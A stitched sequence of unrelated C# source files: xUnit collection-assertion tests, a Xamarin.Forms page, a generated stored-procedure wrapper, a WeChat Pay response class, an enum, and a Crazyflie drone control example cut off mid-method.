public static void CanFindNullInContainer()
{
var list = new List<object> { 16, null, "Hi there" };
Assert.Contains(null, list);
}
[Fact]
public static void ItemInContainer()
{
var list = new List<int> { 42 };
Assert.Contains(42, list);
}
[Fact]
public static void ItemNotInContainer()
{
var list = new List<int> { 41, 43 };
var ex = Assert.Throws<ContainsException>(() => Assert.Contains(42, list));
Assert.Equal(
"Assert.Contains() Failure" + Environment.NewLine +
"Not found: 42" + Environment.NewLine +
"In value: List<Int32> [41, 43]", ex.Message);
}
[Fact]
public static void NullsAllowedInContainer()
{
var list = new List<object> { null, 16, "Hi there" };
Assert.Contains("Hi there", list);
}
[Fact]
public static void ICollectionContainsIsTrueButContainsWithDefaultComparerIsFalse()
{
var set = new HashSet<string>(StringComparer.OrdinalIgnoreCase) { "Hi there" };
// ICollection<T>.Contains is called if the container implements ICollection<T>.
// If either ICollection<T>.Contains or the default equality comparer report that
// the collection has the item, the assert should pass.
Assert.Contains("HI THERE", set);
}
[Fact]
public static void ICollectionContainsIsFalseButContainsWithDefaultComparerIsTrue()
{
var collections = new[]
{
new[] { 1, 2, 3, 4 }
};
// ICollection<T>.Contains is called if the container implements ICollection<T>.
// If either ICollection<T>.Contains or the default equality comparer report that
// the collection has the item, the assert should pass.
Assert.Contains(new[] { 1, 2, 3, 4 }, collections);
}
}
public class Contains_WithComparer
{
[Fact]
public static void GuardClauses()
{
var comparer = Substitute.For<IEqualityComparer<int>>();
Assert.Throws<ArgumentNullException>("collection", () => Assert.Contains(14, (List<int>)null, comparer));
Assert.Throws<ArgumentNullException>("comparer", () => Assert.Contains(14, new int[0], null));
}
[Fact]
public static void CanUseComparer()
{
var list = new List<int> { 42 };
Assert.Contains(43, list, new MyComparer());
}
[Fact]
public static void DoesNotTryToCallICollectionContains()
{
var set = new HashSet<string>(StringComparer.OrdinalIgnoreCase) { "Hi there" };
// ICollection<T>.Contains would return true, but we're passing in a custom comparer to Assert.Contains
// (and ICollection<T>.Contains does not accept a comparer) so we should not attempt to use that result.
var ex = Assert.Throws<ContainsException>(() => Assert.Contains("HI THERE", set, StringComparer.Ordinal));
Assert.Equal(
"Assert.Contains() Failure" + Environment.NewLine +
"Not found: HI THERE" + Environment.NewLine +
@"In value: HashSet<String> [""Hi there""]", ex.Message);
}
class MyComparer : IEqualityComparer<int>
{
public bool Equals(int x, int y)
{
return true;
}
public int GetHashCode(int obj)
{
throw new NotImplementedException();
}
}
}
public class Contains_WithPredicate
{
[Fact]
public static void GuardClauses()
{
Assert.Throws<ArgumentNullException>("collection", () => Assert.Contains((List<int>)null, item => true));
Assert.Throws<ArgumentNullException>("filter", () => Assert.Contains(new int[0], (Predicate<int>)null));
}
[Fact]
public static void ItemFound_DoesNotThrow()
{
var list = new[] { "Hello", "world" };
Assert.Contains(list, item => item.StartsWith("w"));
}
[Fact]
public static void ItemNotFound_Throws()
{
var list = new[] { "Hello", "world" };
Assert.Throws<ContainsException>(() => Assert.Contains(list, item => item.StartsWith("q")));
}
}
public class DoesNotContain
{
[Fact]
public static void GuardClause()
{
Assert.Throws<ArgumentNullException>("collection", () => Assert.DoesNotContain(14, (List<int>)null));
}
[Fact]
public static void CanSearchForNullInContainer()
{
var list = new List<object> { 16, "Hi there" };
Assert.DoesNotContain(null, list);
}
[Fact]
public static void ItemInContainer()
{
var list = new List<int> { 42 };
DoesNotContainException ex =
Assert.Throws<DoesNotContainException>(() => Assert.DoesNotContain(42, list));
Assert.Equal("Assert.DoesNotContain() Failure" + Environment.NewLine +
"Found: 42" + Environment.NewLine +
"In value: List<Int32> [42]", ex.Message);
}
[Fact]
public static void ItemNotInContainer()
{
var list = new List<int>();
Assert.DoesNotContain(42, list);
}
[Fact]
public static void NullsAllowedInContainer()
{
var list = new List<object> { null, 16, "Hi there" };
Assert.DoesNotContain(42, list);
}
[Fact]
public static void ICollectionContainsIsTrueButContainsWithDefaultComparerIsFalse()
{
var set = new HashSet<string>(StringComparer.OrdinalIgnoreCase) { "Hi there" };
// ICollection<T>.Contains is called if the container implements ICollection<T>.
// If either ICollection<T>.Contains or the default equality comparer report that
// the collection has the item, the assert should fail.
var ex = Assert.Throws<DoesNotContainException>(() => Assert.DoesNotContain("HI THERE", set));
Assert.Equal("Assert.DoesNotContain() Failure" + Environment.NewLine +
"Found: HI THERE" + Environment.NewLine +
@"In value: HashSet<String> [""Hi there""]", ex.Message);
}
[Fact]
public static void ICollectionContainsIsFalseButContainsWithDefaultComparerIsTrue()
{
var collections = new[]
{
new[] { 1, 2, 3, 4 }
};
// ICollection<T>.Contains is called if the container implements ICollection<T>.
// If either ICollection<T>.Contains or the default equality comparer report that
// the collection has the item, the assert should fail.
var ex = Assert.Throws<DoesNotContainException>(() => Assert.DoesNotContain(new[] { 1, 2, 3, 4 }, collections));
Assert.Equal("Assert.DoesNotContain() Failure" + Environment.NewLine +
"Found: Int32[] [1, 2, 3, 4]" + Environment.NewLine +
"In value: Int32[][] [[1, 2, 3, 4]]", ex.Message);
}
}
public class DoesNotContain_WithComparer
{
[Fact]
public static void GuardClauses()
{
var comparer = Substitute.For<IEqualityComparer<int>>();
Assert.Throws<ArgumentNullException>("collection", () => Assert.DoesNotContain(14, (List<int>)null, comparer));
Assert.Throws<ArgumentNullException>("comparer", () => Assert.DoesNotContain(14, new int[0], null));
}
[Fact]
public static void CanUseComparer()
{
var list = new List<int>();
list.Add(42);
Assert.DoesNotContain(42, list, new MyComparer());
}
[Fact]
public static void DoesNotTryToCallICollectionContains()
{
var set = new HashSet<string>(StringComparer.OrdinalIgnoreCase) { "Hi there" };
// ICollection<T>.Contains would return true, but we're passing in a custom comparer to Assert.DoesNotContain
// (and ICollection<T>.Contains does not accept a comparer) so we should not attempt to use that result.
Assert.DoesNotContain("HI THERE", set, StringComparer.Ordinal);
}
class MyComparer : IEqualityComparer<int>
{
public bool Equals(int x, int y)
{
return false;
}
public int GetHashCode(int obj)
{
throw new NotImplementedException();
}
}
}
public class DoesNotContain_WithPredicate
{
[Fact]
public static void GuardClauses()
{
Assert.Throws<ArgumentNullException>("collection", () => Assert.DoesNotContain((List<int>)null, item => true));
Assert.Throws<ArgumentNullException>("filter", () => Assert.DoesNotContain(new int[0], (Predicate<int>)null));
}
[Fact]
public static void ItemFound_Throws()
{
var list = new[] { "Hello", "world" };
Assert.Throws<DoesNotContainException>(() => Assert.DoesNotContain(list, item => item.StartsWith("w")));
}
[Fact]
public static void ItemNotFound_DoesNotThrow()
{
var list = new[] { "Hello", "world" };
Assert.DoesNotContain(list, item => item.StartsWith("q"));
}
}
public class Empty
{
[Fact]
public static void GuardClauses()
{
Assert.Throws<ArgumentNullException>(() => Assert.Empty(null));
}
[Fact]
public static void EmptyContainer()
{
var list = new List<int>();
Assert.Empty(list);
}
[Fact]
public static void NonEmptyContainerThrows()
{
var list = new List<int>();
list.Add(42);
EmptyException ex = Assert.Throws<EmptyException>(() => Assert.Empty(list));
Assert.Equal($"Assert.Empty() Failure{Environment.NewLine}Collection: [42]", ex.Message);
}
[Fact]
public static void EnumeratorDisposed()
{
var enumerator = new SpyEnumerator<int>(Enumerable.Empty<int>());
Assert.Empty(enumerator);
Assert.True(enumerator.IsDisposed);
}
[Fact]
public static void EmptyString()
{
Assert.Empty("");
}
[Fact]
public static void NonEmptyStringThrows()
{
EmptyException ex = Assert.Throws<EmptyException>(() => Assert.Empty("Foo"));
Assert.Equal($"Assert.Empty() Failure{Environment.NewLine}Collection: \"Foo\"", ex.Message);
}
}
public class Equal
{
[Fact]
public static void Array()
{
string[] expected = { "@", "a", "ab", "b" };
string[] actual = { "@", "a", "ab", "b" };
Assert.Equal(expected, actual);
Assert.Throws<NotEqualException>(() => Assert.NotEqual(expected, actual));
}
[Fact]
public static void ArrayInsideArray()
{
string[][] expected = { new[] { "@", "a" }, new[] { "ab", "b" } };
string[][] actual = { new[] { "@", "a" }, new[] { "ab", "b" } };
Assert.Equal(expected, actual);
Assert.Throws<NotEqualException>(() => Assert.NotEqual(expected, actual));
}
[Fact]
public static void ArraysOfDifferentLengthsAreNotEqual()
{
string[] expected = { "@", "a", "ab", "b", "c" };
string[] actual = { "@", "a", "ab", "b" };
Assert.Throws<EqualException>(() => Assert.Equal(expected, actual));
Assert.NotEqual(expected, actual);
}
[Fact]
public static void ArrayValuesAreDifferentNotEqual()
{
string[] expected = { "@", "d", "v", "d" };
string[] actual = { "@", "a", "ab", "b" };
Assert.Throws<EqualException>(() => Assert.Equal(expected, actual));
Assert.NotEqual(expected, actual);
}
[Fact]
public static void Equivalence()
{
int[] expected = new[] { 1, 2, 3, 4, 5 };
List<int> actual = new List<int>(expected);
Assert.Equal(expected, actual);
}
}
public class EqualDictionary
{
[Fact]
public static void InOrderDictionary()
{
var expected = new Dictionary<string, int> { { "a", 1 }, { "b", 2 }, { "c", 3 } };
var actual = new Dictionary<string, int> { { "a", 1 }, { "b", 2 }, { "c", 3 } };
Assert.Equal(expected, actual);
Assert.Throws<NotEqualException>(() => Assert.NotEqual(expected, actual));
}
[Fact]
public static void OutOfOrderDictionary()
{
var expected = new Dictionary<string, int> { { "a", 1 }, { "b", 2 }, { "c", 3 } };
var actual = new Dictionary<string, int> { { "b", 2 }, { "c", 3 }, { "a", 1 } };
Assert.Equal(expected, actual);
Assert.Throws<NotEqualException>(() => Assert.NotEqual(expected, actual));
}
[Fact]
public static void ExpectedLarger()
{
var expected = new Dictionary<string, int> { { "a", 1 }, { "b", 2 }, { "c", 3 } };
var actual = new Dictionary<string, int> { { "a", 1 }, { "b", 2 } };
Assert.NotEqual(expected, actual);
Assert.Throws<EqualException>(() => Assert.Equal(expected, actual));
}
[Fact]
public static void ActualLarger()
{
var expected = new Dictionary<string, int> { { "a", 1 }, { "b", 2 } };
var actual = new Dictionary<string, int> { { "a", 1 }, { "b", 2 }, { "c", 3 } };
Assert.NotEqual(expected, actual);
Assert.Throws<EqualException>(() => Assert.Equal(expected, actual));
}
}
public class EqualSet
{
[Fact]
public static void InOrderSet()
{
var expected = new HashSet<int> { 1, 2, 3 };
var actual = new HashSet<int> { 1, 2, 3 };
Assert.Equal(expected, actual);
Assert.Throws<NotEqualException>(() => Assert.NotEqual(expected, actual));
}
[Fact]
public static void OutOfOrderSet()
{
var expected = new HashSet<int> { 1, 2, 3 };
var actual = new HashSet<int> { 2, 3, 1 };
Assert.Equal(expected, actual);
Assert.Throws<NotEqualException>(() => Assert.NotEqual(expected, actual));
}
[Fact]
public static void ExpectedLarger()
{
var expected = new HashSet<int> { 1, 2, 3 };
var actual = new HashSet<int> { 1, 2 };
Assert.NotEqual(expected, actual);
Assert.Throws<EqualException>(() => Assert.Equal(expected, actual));
}
[Fact]
public static void ActualLarger()
{
var expected = new HashSet<int> { 1, 2 };
var actual = new HashSet<int> { 1, 2, 3 };
Assert.NotEqual(expected, actual);
Assert.Throws<EqualException>(() => Assert.Equal(expected, actual));
}
}
public class Equal_WithComparer
{
[Fact]
public static void EquivalenceWithComparer()
{
int[] expected = new[] { 1, 2, 3, 4, 5 };
List<int> actual = new List<int>(new int[] { 0, 0, 0, 0, 0 });
Assert.Equal(expected, actual, new IntComparer(true));
}
class IntComparer : IEqualityComparer<int>
{
bool answer;
public IntComparer(bool answer)
{
this.answer = answer;
}
public bool Equals(int x, int y)
{
return answer;
}
public int GetHashCode(int obj)
{
throw new NotImplementedException();
}
}
}
public class NotEmpty
{
[Fact]
public static void EmptyContainer()
{
var list = new List<int>();
var ex = Assert.Throws<NotEmptyException>(() => Assert.NotEmpty(list));
Assert.Equal("Assert.NotEmpty() Failure", ex.Message);
}
[Fact]
public static void NonEmptyContainer()
{
var list = new List<int> { 42 };
Assert.NotEmpty(list);
}
[Fact]
public static void EnumeratorDisposed()
{
var enumerator = new SpyEnumerator<int>(Enumerable.Range(0, 1));
Assert.NotEmpty(enumerator);
Assert.True(enumerator.IsDisposed);
}
}
public class NotEqual
{
[Fact]
public static void EnumerableInequivalence()
{
int[] expected = new[] { 1, 2, 3, 4, 5 };
List<int> actual = new List<int>(new[] { 1, 2, 3, 4, 6 });
Assert.NotEqual(expected, actual);
}
[Fact]
public static void EnumerableEquivalence()
{
int[] expected = new[] { 1, 2, 3, 4, 5 };
List<int> actual = new List<int>(expected);
Assert.Throws<NotEqualException>(() => Assert.NotEqual(expected, actual));
}
}
public class NotEqual_WithComparer
{
[Fact]
public static void EnumerableInequivalenceWithFailedComparer()
{
int[] expected = new[] { 1, 2, 3, 4, 5 };
List<int> actual = new List<int>(new int[] { 1, 2, 3, 4, 5 });
Assert.NotEqual(expected, actual, new IntComparer(false));
}
[Fact]
public static void EnumerableEquivalenceWithSuccessfulComparer()
{
int[] expected = new[] { 1, 2, 3, 4, 5 };
List<int> actual = new List<int>(new int[] { 0, 0, 0, 0, 0 });
Assert.Throws<NotEqualException>(() => Assert.NotEqual(expected, actual, new IntComparer(true)));
}
class IntComparer : IEqualityComparer<int>
{
bool answer;
public IntComparer(bool answer)
{
this.answer = answer;
}
public bool Equals(int x, int y)
{
return answer;
}
public int GetHashCode(int obj)
{
throw new NotImplementedException();
}
}
}
public class Single_NonGeneric
{
[Fact]
public static void NullCollectionThrows()
{
Assert.Throws<ArgumentNullException>(() => Assert.Single(null));
}
[Fact]
public static void EmptyCollectionThrows()
{
ArrayList collection = new ArrayList();
Exception ex = Record.Exception(() => Assert.Single(collection));
Assert.IsType<SingleException>(ex);
Assert.Equal("The collection contained 0 matching element(s) instead of 1.", ex.Message);
}
[Fact]
public static void MultiItemCollectionThrows()
{
ArrayList collection = new ArrayList { "Hello", "World" };
Exception ex = Record.Exception(() => Assert.Single(collection));
Assert.IsType<SingleException>(ex);
Assert.Equal("The collection contained 2 matching element(s) instead of 1.", ex.Message);
}
[Fact]
public static void SingleItemCollectionDoesNotThrow()
{
ArrayList collection = new ArrayList { "Hello" };
Exception ex = Record.Exception(() => Assert.Single(collection));
Assert.Null(ex);
}
[Fact]
public static void SingleItemCollectionReturnsTheItem()
{
ArrayList collection = new ArrayList { "Hello" };
object result = Assert.Single(collection);
Assert.Equal("Hello", result);
}
}
public class Single_NonGeneric_WithObject
{
[Fact]
public static void NullCollectionThrows()
{
Assert.Throws<ArgumentNullException>(() => Assert.Single(null, null));
}
[Fact]
public static void ObjectSingleMatch()
{
IEnumerable collection = new[] { "Hello", "World!" };
Assert.Single(collection, "Hello");
}
[Fact]
public static void NullSingleMatch()
{
IEnumerable collection = new[] { "Hello", "World!", null };
Assert.Single(collection, null);
}
[Fact]
public static void ObjectNoMatch()
{
IEnumerable collection = new[] { "Hello", "World!" };
Exception ex = Record.Exception(() => Assert.Single(collection, "foo"));
Assert.IsType<SingleException>(ex);
Assert.Equal("The collection contained 0 matching element(s) instead of 1.", ex.Message);
}
[Fact]
public static void PredicateTooManyMatches()
{
string[] collection = new[] { "Hello", "World!", "Hello" };
Exception ex = Record.Exception(() => Assert.Single(collection, "Hello"));
Assert.IsType<SingleException>(ex);
Assert.Equal("The collection contained 2 matching element(s) instead of 1.", ex.Message);
}
}
public class Single_Generic
{
[Fact]
public static void NullCollectionThrows()
{
Assert.Throws<ArgumentNullException>(() => Assert.Single<object>(null));
}
[Fact]
public static void EmptyCollectionThrows()
{
object[] collection = new object[0];
Exception ex = Record.Exception(() => Assert.Single(collection));
Assert.IsType<SingleException>(ex);
Assert.Equal("The collection contained 0 matching element(s) instead of 1.", ex.Message);
}
[Fact]
public static void MultiItemCollectionThrows()
{
string[] collection = new[] { "Hello", "World!" };
Exception ex = Record.Exception(() => Assert.Single(collection));
Assert.IsType<SingleException>(ex);
Assert.Equal("The collection contained 2 matching element(s) instead of 1.", ex.Message);
}
[Fact]
public static void SingleItemCollectionDoesNotThrow()
{
string[] collection = new[] { "Hello" };
Exception ex = Record.Exception(() => Assert.Single(collection));
Assert.Null(ex);
}
[Fact]
public static void SingleItemCollectionReturnsTheItem()
{
string[] collection = new[] { "Hello" };
string result = Assert.Single(collection);
Assert.Equal("Hello", result);
}
}
public class Single_Generic_WithPredicate
{
[Fact]
public static void NullCollectionThrows()
{
Assert.Throws<ArgumentNullException>(() => Assert.Single<object>(null, _ => true));
}
[Fact]
public static void NullPredicateThrows()
{
Assert.Throws<ArgumentNullException>(() => Assert.Single<object>(new object[0], null));
}
[Fact]
public static void PredicateSingleMatch()
{
string[] collection = new[] { "Hello", "World!" };
string result = Assert.Single(collection, item => item.StartsWith("H"));
Assert.Equal("Hello", result);
}
[Fact]
public static void PredicateNoMatch()
{
string[] collection = new[] { "Hello", "World!" };
Exception ex = Record.Exception(() => Assert.Single(collection, item => false));
Assert.IsType<SingleException>(ex);
Assert.Equal("The collection contained 0 matching element(s) instead of 1.", ex.Message);
}
[Fact]
public static void PredicateTooManyMatches()
{
string[] collection = new[] { "Hello", "World!" };
Exception ex = Record.Exception(() => Assert.Single(collection, item => true));
Assert.IsType<SingleException>(ex);
Assert.Equal("The collection contained 2 matching element(s) instead of 1.", ex.Message);
}
}
sealed class SpyEnumerator<T> : IEnumerable<T>, IEnumerator<T>
{
IEnumerator<T> innerEnumerator;
public SpyEnumerator(IEnumerable<T> enumerable)
{
innerEnumerator = enumerable.GetEnumerator();
}
public T Current
=> innerEnumerator.Current;
object IEnumerator.Current
=> innerEnumerator.Current;
public bool IsDisposed
=> innerEnumerator == null;
public IEnumerator<T> GetEnumerator()
=> this;
IEnumerator IEnumerable.GetEnumerator()
=> this;
public bool MoveNext()
=> innerEnumerator.MoveNext();
public void Reset()
{
throw new NotImplementedException();
}
public void Dispose()
{
innerEnumerator.Dispose();
innerEnumerator = null;
}
}
}
| 30.759714 | 124 | 0.530333 | [
"Apache-2.0"
] | Acidburn0zzz/xunit | test/test.xunit.assert/Asserts/CollectionAssertsTests.cs | 30,085 | C# |
using System;
using System.Collections.Generic;
using Xamarin.Forms;
using Xamarin.Forms.Xaml;
using Ordinem.Shell.Xamarin.Forms.Models;
namespace Ordinem.Shell.Xamarin.Forms.Views
{
public partial class NewItemPage : ContentPage
{
public Item Item { get; set; }
public NewItemPage()
{
InitializeComponent();
Item = new Item
{
Text = "Item name",
Description = "This is an item description."
};
BindingContext = this;
}
async void Save_Clicked(object sender, EventArgs e)
{
MessagingCenter.Send(this, "AddItem", Item);
await Navigation.PopModalAsync();
}
async void Cancel_Clicked(object sender, EventArgs e)
{
await Navigation.PopModalAsync();
}
}
} | 18.307692 | 55 | 0.70028 | [
"MIT"
] | Devidence7/Fuxion | src/Ordinem/Shell/Xamarin/Forms/Views/NewItemPage.xaml.cs | 716 | C# |
// This file was automatically generated by the code gen tool - do not modify.
using System ;
using scg = System.Collections.Generic ;
using sd = System.Data ;
using sds = System.Data.SqlClient ;
using sr = System.Reflection ;
using mst = Microsoft.SqlServer.Types ;
using mss = Microsoft.SqlServer.Server ;
using acr = alby.codegen.runtime ;
using ns = alby.pantheon.codegen;
namespace alby.pantheon.codegen.storedProcedure
{
public partial class StoredProcedureFactory : acr.StoredProcedureFactoryBase< ns.database.pantheonDatabaseSingletonHelper, ns.database.pantheonDatabase >
{
public int LeaseGet
(
sds.SqlConnection connˡ,
int? LeaseID,
string UpdateUserCode,
DateTime? UpdateDateTime,
out scg.List<LeaseGet٠rs1> rsˡ1,
out scg.List<LeaseGet٠rs2> rsˡ2,
out scg.List<LeaseGet٠rs3> rsˡ3,
out scg.List<LeaseGet٠rs4> rsˡ4,
out scg.List<LeaseGet٠rs5> rsˡ5,
out scg.List<LeaseGet٠rs6> rsˡ6,
out scg.List<LeaseGet٠rs7> rsˡ7,
out scg.List<LeaseGet٠rs8> rsˡ8,
out scg.List<LeaseGet٠rs9> rsˡ9,
out scg.List<LeaseGet٠rs10> rsˡ10,
out scg.List<LeaseGet٠rs11> rsˡ11,
out scg.List<LeaseGet٠rs12> rsˡ12,
out scg.List<LeaseGet٠rs13> rsˡ13,
out scg.List<LeaseGet٠rs14> rsˡ14,
out scg.List<LeaseGet٠rs15> rsˡ15,
out scg.List<LeaseGet٠rs16> rsˡ16,
out scg.List<LeaseGet٠rs17> rsˡ17,
out scg.List<LeaseGet٠rs18> rsˡ18,
out scg.List<LeaseGet٠rs19> rsˡ19,
out scg.List<LeaseGet٠rs20> rsˡ20,
out scg.List<LeaseGet٠rs21> rsˡ21,
sds.SqlTransaction tranˡ = null
)
{
const string schemaˡ = "dbo" ;
const string spˡ = "LeaseGet" ;
scg.List<sds.SqlParameter> parametersˡ = new scg.List<sds.SqlParameter>() ;
sds.SqlParameter paramˡLeaseID = base.AddParameterˡ( parametersˡ, "@LeaseID", LeaseID, sd.SqlDbType.Int, true, null, 10, 0 ) ;
sds.SqlParameter paramˡUpdateUserCode = base.AddParameterˡ( parametersˡ, "@UpdateUserCode", UpdateUserCode, sd.SqlDbType.VarChar, true, 50, null, null ) ;
sds.SqlParameter paramˡUpdateDateTime = base.AddParameterˡ( parametersˡ, "@UpdateDateTime", UpdateDateTime, sd.SqlDbType.DateTime, true, null, null, null ) ;
sds.SqlParameter paramˡrcˡ = base.AddParameterReturnValueˡ( parametersˡ, "@rcˡ" ) ;
sd.DataSet dsˡ = base.Executeˡ( connˡ, tranˡ, schemaˡ, spˡ, parametersˡ ) ;
rsˡ1 = base.ToRecordsetˡ<LeaseGet٠rs1>( dsˡ, 1 ) ;
rsˡ2 = base.ToRecordsetˡ<LeaseGet٠rs2>( dsˡ, 2 ) ;
rsˡ3 = base.ToRecordsetˡ<LeaseGet٠rs3>( dsˡ, 3 ) ;
rsˡ4 = base.ToRecordsetˡ<LeaseGet٠rs4>( dsˡ, 4 ) ;
rsˡ5 = base.ToRecordsetˡ<LeaseGet٠rs5>( dsˡ, 5 ) ;
rsˡ6 = base.ToRecordsetˡ<LeaseGet٠rs6>( dsˡ, 6 ) ;
rsˡ7 = base.ToRecordsetˡ<LeaseGet٠rs7>( dsˡ, 7 ) ;
rsˡ8 = base.ToRecordsetˡ<LeaseGet٠rs8>( dsˡ, 8 ) ;
rsˡ9 = base.ToRecordsetˡ<LeaseGet٠rs9>( dsˡ, 9 ) ;
rsˡ10 = base.ToRecordsetˡ<LeaseGet٠rs10>( dsˡ, 10 ) ;
rsˡ11 = base.ToRecordsetˡ<LeaseGet٠rs11>( dsˡ, 11 ) ;
rsˡ12 = base.ToRecordsetˡ<LeaseGet٠rs12>( dsˡ, 12 ) ;
rsˡ13 = base.ToRecordsetˡ<LeaseGet٠rs13>( dsˡ, 13 ) ;
rsˡ14 = base.ToRecordsetˡ<LeaseGet٠rs14>( dsˡ, 14 ) ;
rsˡ15 = base.ToRecordsetˡ<LeaseGet٠rs15>( dsˡ, 15 ) ;
rsˡ16 = base.ToRecordsetˡ<LeaseGet٠rs16>( dsˡ, 16 ) ;
rsˡ17 = base.ToRecordsetˡ<LeaseGet٠rs17>( dsˡ, 17 ) ;
rsˡ18 = base.ToRecordsetˡ<LeaseGet٠rs18>( dsˡ, 18 ) ;
rsˡ19 = base.ToRecordsetˡ<LeaseGet٠rs19>( dsˡ, 19 ) ;
rsˡ20 = base.ToRecordsetˡ<LeaseGet٠rs20>( dsˡ, 20 ) ;
rsˡ21 = base.ToRecordsetˡ<LeaseGet٠rs21>( dsˡ, 21 ) ;
return base.GetParameterValueˡ<int>( paramˡrcˡ ) ;
}
}
}
| 42.218391 | 162 | 0.693711 | [
"MIT"
] | casaletto/alby.pantheon.2015 | alby.pantheon.codegen/storedProcedure/LeaseGet.cs | 3,830 | C# |
#region Apache License Version 2.0
/*----------------------------------------------------------------
Copyright 2021 Jeffrey Su & Suzhou Senparc Network Technology Co.,Ltd.
Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file
except in compliance with the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software distributed under the
License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,
either express or implied. See the License for the specific language governing permissions
and limitations under the License.
Detail: https://github.com/JeffreySu/WeiXinMPSDK/blob/master/license.md
----------------------------------------------------------------*/
#endregion Apache License Version 2.0
/*----------------------------------------------------------------
Copyright (C) 2021 Senparc
文件名:DownloadStockUseFlowReturnJson.cs
文件功能描述:下载批次核销明细返回Json
创建标识:Senparc - 20210901
----------------------------------------------------------------*/
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Senparc.Weixin.TenPayV3.Apis.Entities;
namespace Senparc.Weixin.TenPayV3.Apis.Marketing
{
/// <summary>
/// 下载批次核销明细返回Json
/// <para>详细请参考微信支付官方文档 https://pay.weixin.qq.com/wiki/doc/apiv3/apis/chapter9_1_10.shtml </para>
/// </summary>
public class DownloadStockUseFlowReturnJson : ReturnJsonBase
{
/// <summary>
/// 流水文件下载链接,30s内有效
/// </summary>
public string url { get; set; }
/// <summary>
/// 文件内容的哈希值,防止篡改
/// </summary>
public string hash_value { get; set; }
/// <summary>
/// 哈希算法类型,目前只支持sha1
/// </summary>
public string hash_type { get; set; }
}
}
| 31.66129 | 101 | 0.600102 | [
"Apache-2.0"
] | 554393109/WeiXinMPSDK | src/Senparc.Weixin.TenPay/Senparc.Weixin.TenPayV3/Apis/Marketing/Entities/ReturnJson/DownloadStockUseFlowReturnJson.cs | 2,137 | C# |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace VersionControlSnapshot.Model
{
public enum FileTransferCondition
{
ALWAYS, NEVER, IF_DIFF
}
}
| 17.285714 | 38 | 0.743802 | [
"MIT"
] | tonnycordeiro/VersionControlSnapshot | VersionControlSnapshot/Models/FileTransferCondition.cs | 244 | C# |
using CrazyflieDotNet.Crazyflie;
using CrazyflieDotNet.Crazyflie.Feature;
using CrazyflieDotNet.Crazyflie.Feature.Localization;
using CrazyflieDotNet.Crazyflie.Feature.Log;
using log4net;
using log4net.Config;
using System;
using System.IO;
using System.Reflection;
using System.Threading;
namespace CrazyflieDotNet.Example
{
class Program
{
private static readonly ILog Log = LogManager.GetLogger(typeof(Program));
static void Main(string[] args)
{
var logRepository = LogManager.GetRepository(Assembly.GetEntryAssembly());
XmlConfigurator.Configure(logRepository, new FileInfo("log4net.config"));
try
{
var crazyflie = new CrazyflieCopter();
crazyflie.Connect().Wait();
try
{
LoggingExample(crazyflie);
ParameterExample(crazyflie);
Console.WriteLine("Sleepy time...Wait for takeoff demo Press ENTER.");
WaitForKey(ConsoleKey.Enter);
CommanderExample(crazyflie);
Console.WriteLine("Sleepy time...Wait for high level demo Press ENTER.");
WaitForKey(ConsoleKey.Enter);
HighLevelCommandExample(crazyflie);
Console.WriteLine("Sleepy time...Wait for high level navigator demo Press ENTER.");
WaitForKey(ConsoleKey.Enter);
NavigationExample(crazyflie);
Console.WriteLine("Sleepy time...Hit ESC to quit.");
WaitForKey(ConsoleKey.Escape);
}
catch (Exception ex)
{
Log.Error("Error testing crazyfly.", ex);
}
crazyflie?.Disconnect();
}
catch (Exception ex)
{
Log.Error("Error setting up radio.", ex);
}
Console.WriteLine("ended.");
Console.ReadLine();
}
private static void WaitForKey(ConsoleKey key)
{
var sleep = true;
while (sleep)
{
if (Console.KeyAvailable && Console.ReadKey().Key == key)
{
sleep = false;
}
}
}
private static void NavigationExample(CrazyflieCopter crazyflie)
{
var task = crazyflie.ParamConfigurator.RefreshParameterValue("flightmode.posSet");
task.Wait();
Log.Info("flightmode.posSet before: " + task.Result);
task = crazyflie.ParamConfigurator.RefreshParameterValue("stabilizer.controller");
task.Wait();
Log.Info("stabilizer.controller before: " + task.Result);
//crazyflie.ParamConfigurator.SetValue("stabilizer.controller", (byte)2).Wait();
//crazyflie.ParamConfigurator.SetValue("flightmode.posSet", (byte)1).Wait();
//crazyflie.ParamConfigurator.SetValue("stabilizer.controller", (byte)1);
var navigator = new Navigator(crazyflie);
try
{
navigator.PositionUpdate += Navigator_PositionUpdate;
navigator.Start(100);
try
{
navigator.WaitForCalibratedPosition(TimeSpan.FromSeconds(15)).Wait();
}
catch (Exception ex)
{
Log.Error("didn't found a calibration; abort demo.");
return;
}
navigator.Takeoff(1f).Wait();
Log.Warn("Takeoff now done");
navigator.NavigateTo(0.4f, 0.4f, 1f).Wait();
navigator.NavigateTo(1.6f, 0.4f, 1f).Wait();
navigator.NavigateTo(1.6f, 1.1f, 1f).Wait();
navigator.NavigateTo(0.4f, 1.1f, 1f).Wait();
navigator.NavigateTo(0.4f, 0.4f, 1f).Wait();
navigator.Land(-0.3f).Wait();
}
finally
{
navigator.Stop().Wait();
}
}
private static void Navigator_PositionUpdate(object sender, PositionUpdateEventArgs args)
{
Log.Info("current estimated position: " + args.CurrentPosition);
Log.Info($"current variance: {((Navigator)sender).VarianceX} / {((Navigator)sender).VarianceY} / {((Navigator)sender).VarianceZ}");
}
private static void HighLevelCommandExample(CrazyflieCopter crazyflie)
{
if (crazyflie.ParamConfigurator.IsParameterKnown("commander.enHighLevel"))
{
crazyflie.HighLevelCommander.Enable().Wait();
// To enable the mellinger controller:
//crazyflie.ParamConfigurator.SetValue("stabilizer.controller", (byte)2).Wait();
// To enable the default controller:
//crazyflie.ParamConfigurator.SetValue("stabilizer.controller", (byte)1).Wait();
crazyflie.ParamConfigurator.SetValue("kalman.resetEstimation", (byte)1).Wait();
Thread.Sleep(10);
crazyflie.ParamConfigurator.SetValue("kalman.resetEstimation", (byte)0).Wait();
Thread.Sleep(1000);
try
{
crazyflie.HighLevelCommander.Takeoff(0.3f, 2f);
Thread.Sleep(2000);
crazyflie.HighLevelCommander.Land(0, 2f);
Thread.Sleep(2100);
}
finally
{
crazyflie.HighLevelCommander.Stop();
crazyflie.HighLevelCommander.Disable().Wait();
}
}
else
{
Log.Error("Highlevel commander not available. Update Crazyflie firmware.");
}
}
private static void ParameterExample(CrazyflieCopter crazyflie)
{
